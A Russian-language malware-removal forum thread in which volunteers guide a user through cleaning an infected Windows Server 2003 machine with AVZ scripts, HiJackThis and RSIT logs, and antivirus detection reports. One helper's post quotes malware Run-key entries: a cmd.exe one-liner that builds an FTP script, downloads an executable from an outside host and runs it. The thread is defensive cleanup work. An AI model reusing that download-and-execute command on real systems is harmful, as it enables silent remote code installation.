Windows server 2003 не работают сетевые службы [Trojan-GameThief.Win32.Magania.hliu, Backdoor.Win32.Agent.ckvt ]

[Ishi]

На Windows Server 2003 R2 перестали работать большинство служб, в списке служб пусто. сервер пингуется, но доступа к нему нет. в процессах только один svchost который грузит ЦП на ~50%, было заражение которые AVG определял как BackDoor.Generic15.BAWF.dropper, BackDoor.Generic_r.AHO, BackDoor.Generic14.CCPI, Agent_r.BGD, также при этом в задачах SQL agent появлялись назначенные задания по скачиванию этих зараженных файлов. работать перестало после удаления всех этих файлов и последующей внеплановой перезагрузке компьютера (выключили электричество).

[Info_bot]

Уважаемый(ая) Ishi, спасибо за обращение на наш форум!

Удаление вирусов - абсолютно бесплатная услуга на VirusInfo.Info. Хелперы, в самое ближайшее время, ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитами АВЗ и HiJackThis, подробнее можно прочитать в правилах оформления запроса о помощи.

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста поддержите проект.

[thyrex]

Выполните скрипт в AVZ

begin
ShowMessage('Внимание! Перед выполнением скрипта AVZ автоматически закроет все сетевые подключения.' + #13#10 + 'После перезагрузки компьютера подключения к сети будут восстановлены в автоматическом режиме.');
ExecuteFile('net.exe', 'stop tcpip /y', 0, 15000, true);
if not IsWOW64
 then
  begin
   SearchRootkit(true, true);
   SetAVZGuardStatus(True);
  end;
QuarantineFile('D:\LamygoCD.txt','');
 QuarantineFile('crss.vbs','');
 QuarantineFile('crypt32.dll','');
 QuarantineFile('c:\windows\system32\dllcache\cmd.exe','');
 QuarantineFile('C:\windows\temp2561700.dll','');
 QuarantineFile('C:\WINDOWS\system32\-1959882527.dll','');
 QuarantineFile('C:\WINDOWS\XXXXXX579E5A5B VVVVVVrr2unw==\svchsot.exe','');
 QuarantineFile('C:\WINDOWS\XXXXXX4CD964AD\svchsot.exe','');
 QuarantineFile('C:\WINDOWS\Config\svchsot.exe','');
 QuarantineFile('C:\WINDOWS\C4038DF3\svchsot.exe','');
 QuarantineFile('14.exe','');
 QuarantineFile('C:\WINDOWS\system32\DRIVERS\mrxsmb.sys','');
 QuarantineFile('C:\WINDOWS\system32\sSbwhqpqot_NET.exe','');
 DeleteService('wuansrv');
 QuarantineFile('C:\Documents and Settings\All Users\Application Data\lanmao.exe','');
 DeleteService('666666666666666666666666666');
 QuarantineFile('c:\documents and settings\all users\cfpsqquag...pic','');
 DeleteFile('C:\Documents and Settings\All Users\Application Data\lanmao.exe');
 DeleteFile('C:\WINDOWS\system32\sSbwhqpqot_NET.exe');
 RegKeyParamDel('HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Services\Bikyet Xspolhrx Mlm\Parameters','ServiceDll');
 DeleteFile('14.exe');
 RegKeyParamDel('HKEY_LOCAL_MACHINE','Software\Microsoft\Windows\CurrentVersion\Run','sC');
 DeleteFile('C:\WINDOWS\C4038DF3\svchsot.exe');
 DeleteFile('C:\WINDOWS\Config\svchsot.exe');
 RegKeyParamDel('HKEY_LOCAL_MACHINE','Software\Microsoft\Windows\CurrentVersion\Run','Config');
 RegKeyParamDel('HKEY_LOCAL_MACHINE','Software\Microsoft\Windows\CurrentVersion\Run','C4038DF3');
 DeleteFile('C:\WINDOWS\XXXXXX4CD964AD\svchsot.exe');
 DeleteFile('C:\WINDOWS\XXXXXX579E5A5B VVVVVVrr2unw==\svchsot.exe');
 RegKeyParamDel('HKEY_LOCAL_MACHINE','Software\Microsoft\Windows\CurrentVersion\Run','XXXXXX579E5A5B VVVVVVrr2unw==');
 RegKeyParamDel('HKEY_LOCAL_MACHINE','Software\Microsoft\Windows\CurrentVersion\Run','XXXXXX4CD964AD');
 DeleteFile('C:\WINDOWS\system32\-1959882527.dll');
 RegKeyParamDel('HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Services\DirectiX Remover.\Parameters','ServiceDll');
 DeleteFile('C:\windows\temp2561700.dll');
 RegKeyParamDel('HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Services\RemoteAccess\RouterManagers\Ip','DLLPath');
 DeleteFile('crss.vbs');
 RegKeyParamDel('HKEY_LOCAL_MACHINE','Software\Microsoft\Windows\CurrentVersion\Run','crss');BC_ImportAll;
ExecuteSysClean;
BC_Activate;
RebootWindows(true);
end.

Компьютер перезагрузится.

Пришлите карантин согласно Приложения 2 правил по красной ссылке Прислать запро-шенный карантин вверху темы

Сделайте новые логи

[Ishi]

новые логи
hijackthis.log
virusinfo_syscheck.zip

[thyrex]

Что с проблемой?

[Ishi]

проблема осталась
изменений нет

[thyrex]

Сделайте логи RSIT

[Ishi]

логи RSIT

[thyrex]

Пофиксите в HiJack

O4 - HKLM\..\Run: [shll] c:\windows\system32\dllcache\cmd.exe /c @echo open fm3322.s.3322.net>>cmd.txt&echo 123>>cmd.txt&echo xxx>>cmd.txt&echo get Whao.exe>> cmd.txt&echo bye>>cmd.txt&ftp -s:cmd.txt&Whao.exe&Whao.exe&del cmd.txt /q
O4 - HKLM\..\Run: [Ashll] c:\windows\system32\dllcache\cmd.exe /c @echo open fm3322.s.3322.net>>cmd.txt&echo 123>>cmd.txt&echo xxx>>cmd.txt&echo get Whao.exe>> cmd.txt&echo bye>>cmd.txt&ftp -s:cmd.txt&Whao.exe&Whao.exe&del cmd.txt /q

Выполните скрипт в AVZ

begin
 RegKeyDel('HKEY_LOCAL_MACHINE','software\microsoft\shared tools\msconfig\startupreg\Alcmtr');
 RegKeyDel('HKEY_LOCAL_MACHINE','software\microsoft\shared tools\msconfig\startupreg\Alcomtr');
 RegKeyDel('HKEY_LOCAL_MACHINE','software\microsoft\shared tools\msconfig\startupreg\houkcert');
BC_ImportAll;
ExecuteSysClean;
BC_Activate;
RebootWindows(true);
end.

Компьютер перезагрузится.

Эти файлы

C:\WINDOWS\system32\net.exe
C:\WINDOWS\system32\scn.exe
C:\WINDOWS\temp1745300.dll
C:\WINDOWS\temp719900.dll
C:\WINDOWS\temp2166900.dll
C:\WINDOWS\temp2120800.dll
C:\WINDOWS\system32\fpp.exe
C:\WINDOWS\system32\servers.exe
C:\WINDOWS\system32\textcopy.exe

запакуйте с паролем virus и пришлите по красной ссылке Прислать запрошенный карантин вверху темы

Содержимое этих папок скажите

C:\WINDOWS\C4038DF3
C:\WINDOWS\system32\083050
C:\WINDOWS\tt
C:\WINDOWS\system32\052035
C:\WINDOWS\system32\081032
C:\WINDOWS\system32\072850
C:\WINDOWS\bb
C:\WINDOWS\EB7E350E

[Ishi]

после перезагрузки проблема сохранилась.
Все перечисленные папки пусты.

[thyrex]

C:\WINDOWS\system32\scn.exe
C:\WINDOWS\temp1745300.dll
C:\WINDOWS\temp719900.dll
C:\WINDOWS\temp2166900.dll
C:\WINDOWS\temp2120800.dll

удаляйте

Пустые папки тоже

[CyberHelper]

Статистика проведенного лечения:

• Получено карантинов: 2
• Обработано файлов: 13
• В ходе лечения обнаружены вредоносные программы:
  
  1. c:\\documents and settings\\all users\\cfpsqquag...pic - HEUR:Trojan.Win32.Generic ( DrWEB: Trojan.DownLoader6.40883, BitDefender: Gen:Variant.Graftor.32385 )
  2. \\scn.exe - Backdoor.Win32.Agent.ckvt
  3. \\temp1745300.dll - Trojan-GameThief.Win32.Magania.hliu ( BitDefender: Gen:Variant.Graftor.32385 )
  4. \\temp2120800.dll - Trojan-GameThief.Win32.Magania.hliu ( BitDefender: Gen:Variant.Graftor.32385 )
  5. \\temp2166900.dll - Trojan-GameThief.Win32.Magania.hliu ( BitDefender: Gen:Variant.Graftor.32385 )
  6. \\temp719900.dll - Trojan-GameThief.Win32.Magania.hliu ( BitDefender: Gen:Variant.Graftor.32385 )

[Ishi]

удалил, перезагрузил, проблема осталась.

- - - Добавлено - - -

восстановил ОС с диска - проблема исчезла. будет ли полезной провести еще одну проверку с помощью AVZ и hijackthis во избежание пропущеного заражения?